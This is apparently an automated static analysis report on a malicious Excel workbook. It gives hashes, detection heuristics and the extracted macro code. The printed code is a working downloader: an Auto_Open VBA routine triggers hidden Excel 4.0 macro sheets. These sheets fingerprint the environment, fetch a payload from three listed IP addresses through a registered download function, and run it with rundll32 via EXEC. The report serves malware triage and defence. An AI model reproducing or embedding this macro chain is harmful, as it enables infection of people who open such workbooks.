Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a831f4b4013c6f9f…

MALICIOUS

Office (OOXML)

217.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-04
MD5: 0229bb50ab248937f129e4327d9176df SHA-1: 5cfba7e9f6a57765a41ad620ffd795ccf4c0c0fe SHA-256: a831f4b4013c6f9fa92771dc086c39bc5747ed34ed2edea36ecc3cda5c69d17b
178 Risk Score

Heuristics 7

  • Excel 4.0 macro sheet (3 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: FORMULA, GOTO, HALT, REGISTER, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Private Sub Auto_Open()
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.211.91.71/ Referenced by macro
    • http://190.14.37.252/44313,6048108796.datReferenced by macro
    • http://91.211.91.71/44313,6048108796.datReferenced by macro
    • http://185.82.218.30/44313,6048108796.datReferenced by macro
    • http://190.14.37.252/Referenced by macro
    • http://185.82.218.30/Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2760 bytes
SHA-256: 125e232ed61153a54047fc42bf831a7a5df16598df76aff16860bf28521d2ade
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Sub Auto_Open()

Application.Run Sheets("Bileos").Range("AM5")

Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")
Application.Run Sheets("Bileos").Range("A5")

End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 13312 bytes
SHA-256: 590b0126ca8d1e7bd88af1d58b85b0c62ce22d8c6fa543f2326f7f6b9b0e0d64
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 4413 bytes
SHA-256: 6d2c54826d9f8cfbc27ceceafde259a335d4f7ce95274c4c00b5379894a0c3cc
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{5E3EE2C8-4BD1-4A7A-8165-1C49BDB78CBA}"><dimension ref="AF57:AO77"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="21" style="3" customWidth="1"/><col min="2" max="2" width="14.28515625" style="3" customWidth="1"/><col min="3" max="30" width="9.140625" style="3"/><col min="31" max="31" width="9.140625" style="3" customWidth="1"/><col min="32" max="34" width="9.140625" style="3" hidden="1" customWidth="1"/><col min="35" max="35" width="17.5703125" style="3" hidden="1" customWidth="1"/><col min="36" max="38" width="9.140625" style="3" hidden="1" customWidth="1"/><col min="39" max="39" width="11.7109375" style="3" hidden="1" customWidth="1"/><col min="40" max="41" width="9.140625" style="3" hidden="1" customWidth="1"/><col min="42" max="16384" width="9.140625" style="3"/></cols><sheetData><row r="57" spans="34:39" x14ac:dyDescent="0.25"><c r="AJ57" s="3"><v>1</v></c></row><row r="58" spans="34:39" x14ac:dyDescent="0.25"><c r="AJ58" s="3"><v>9</v></c></row><row r="60" spans="34:39" x14ac:dyDescent="0.25"><c r="AI60" s="3"><f>NOW()</f><v>44313.604810879631</v></c></row><row r="61" spans="34:39" x14ac:dyDescent="0.25"><c r="AI61" s="3" t="b"><f>FORMULA(AH73&amp;AH74&amp;AH75,AJ65)</f><v>0</v></c></row><row r="62" spans="34:39" x14ac:dyDescent="0.25"><c r="AH62" s="3" t="str"><f>CONCATENATE(AH68,AI60,AH66,AH67)</f><v>http://190.14.37.252/44313,6048108796.dat</v></c><c r="AM62" s="3" t="e"><f>IF(GET.WORKSPACE(42),,CLOSE(TRUE))</f><v>#N/A</v></c></row><row r="63" spans="34:39" x14ac:dyDescent="0.25"><c r="AH63" s="3" t="str"><f>CONCATENATE(AH69,AI60,AH66,AH67)</f><v>http://91.211.91.71/44313,6048108796.dat</v></c></row><row r="64" spans="34:39" x14ac:dyDescent="0.25"><c r="AH64" s="3" t="str"><f>CONCATENATE(AH70,AI60,AH66,AH67)</f><v>http://185.82.218.30/44313,6048108796.dat</v></c><c r="AJ64" s="3" t="s"><v>3</v></c></row><row r="66" spans="34:39" x14ac:dyDescent="0.25"><c r="AH66" s="3" t="s"><v>0</v></c><c r="AJ66" s="3" t="s"><v>4</v></c></row><row r="67" spans="34:39" x14ac:dyDescent="0.25"><c r="AH67" s="3" t="s"><v>1</v></c><c r="AJ67" s="3" t="s"><v>5</v></c><c r="AM67" s="3" t="e"><f>IF(GET.WORKSPACE(19),,CLOSE(1))</f><v>#N/A</v></c></row><row r="68" spans="34:39" x14ac:dyDescent="0.25"><c r="AH68" s="3" t="str"><f>"http://190.14.37.252/"</f><v>http://190.14.37.252/</v></c><c r="AM68" s="3" t="e"><f>GET.WORKSPACE(26)</f><v>#N/A</v></c></row><row r="69" spans="34:39" x14ac:dyDescent="0.25"><c r="AH69" s="3" t="s"><v>9</v></c><c r="AI69" s="3" t="e"><f>GOTO(Blodas!G6)</f><v>#N/A</v></c><c r="AM69" s="3" t="b"><f>IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),ON.TIME(NOW()+"00:00:02","Milolos"),CLOSE(1))</f><v>0</v></c></row><row r="70" spans="34:39" x14ac:dyDescent="0.25"><c r="AH70" s="3" t="str"><f>"http://185.82.218.30/"</f><v>http://185.82.218.30/</v></c><c r="AJ70" s="3" t="s"><v>8</v></c></row><row r="72" spans="34:39" x14ac:dyDescent="0.25"><c r="AM72" s="3" t="b"><f>HALT()</f><v>0</v></c></row><row r="73" spans="34:39" x14ac:dyDescent="0.25"><c r="AH73" s="3" t="s"><v>2</v></c></row><row r="74" spans="34:39" x14ac:dyDescent="0.25"><c r="AH74" s="3" t="s"><v>7</v></c></row><row r="75" spans="34:39" x14ac:dyDescent="0.25"><c r="AH75" s="3" t="s"><v>6</v></c></row><row r="77" spans="34:39" x14ac:dyDescent="0.25"><c r="AI77" s="3" t="b"><f>GOTO(Jioka!H15)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 2121 bytes
SHA-256: 9ca9d23ba3a5b04b35f5c4332df1ce68c0463c9fa42327aa2f7cde6c21f3e64c
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B06B5105-687C-43F7-A487-3A7680CBC977}"><dimension ref="G11:G18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="9.140625" style="2"/><col min="7" max="7" width="12.140625" style="2" customWidth="1"/><col min="8" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="11" spans="7:7" x14ac:dyDescent="0.25"><c r="G11" s="2" t="b"><f>REGISTER(Bileos!AJ64,Bileos!AJ65,Bileos!AJ66,Bileos!AJ67,,Bileos!AJ57,9)</f><v>0</v></c></row><row r="12" spans="7:7" x14ac:dyDescent="0.25"><c r="G12" s="2" t="e"><f>Belandes(0,Bileos!AH62,Bileos!AJ70,0,0)</f><v>#NAME?</v></c></row><row r="13" spans="7:7" x14ac:dyDescent="0.25"><c r="G13" s="2" t="e"><f>IF(G12&lt;0, Belandes(0,Bileos!AH63,Bileos!AJ70,0,0))</f><v>#NAME?</v></c></row><row r="14" spans="7:7" x14ac:dyDescent="0.25"><c r="G14" s="2" t="e"><f>IF(G13&lt;0, Belandes(0,Bileos!AH64,Bileos!AJ70,0,0))</f><v>#NAME?</v></c></row><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="2"><f>IF(G14&lt;0,CLOSE(0),)</f><v>0</v></c></row><row r="18" spans="7:7" x14ac:dyDescent="0.25"><c r="G18" s="2" t="e"><f>GOTO(Bileos!AI74)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1832 bytes
SHA-256: 5e80fd069ac35c5e39918d8dfaaf0ba77875f57b487bcfcc5d8bc7d346806551
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{7CC12E8C-181F-40F2-A690-14110549575E}"><dimension ref="H9:I20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="9.140625" style="2"/><col min="8" max="8" width="9.85546875" style="2" customWidth="1"/><col min="9" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="9" spans="8:9" x14ac:dyDescent="0.25"><c r="I9" s="2" t="str"><f>"rundll32 ..\Butyo.vikas"</f><v>rundll32 ..\Butyo.vikas</v></c></row><row r="10" spans="8:9" x14ac:dyDescent="0.25"><c r="I10" s="2" t="str"><f>",DllRegisterServer"</f><v>,DllRegisterServer</v></c></row><row r="16" spans="8:9" x14ac:dyDescent="0.25"><c r="H16" s="2" t="b"><f>EXEC(I9&amp;I10)</f><v>0</v></c></row><row r="20" spans="8:8" x14ac:dyDescent="0.25"><c r="H20" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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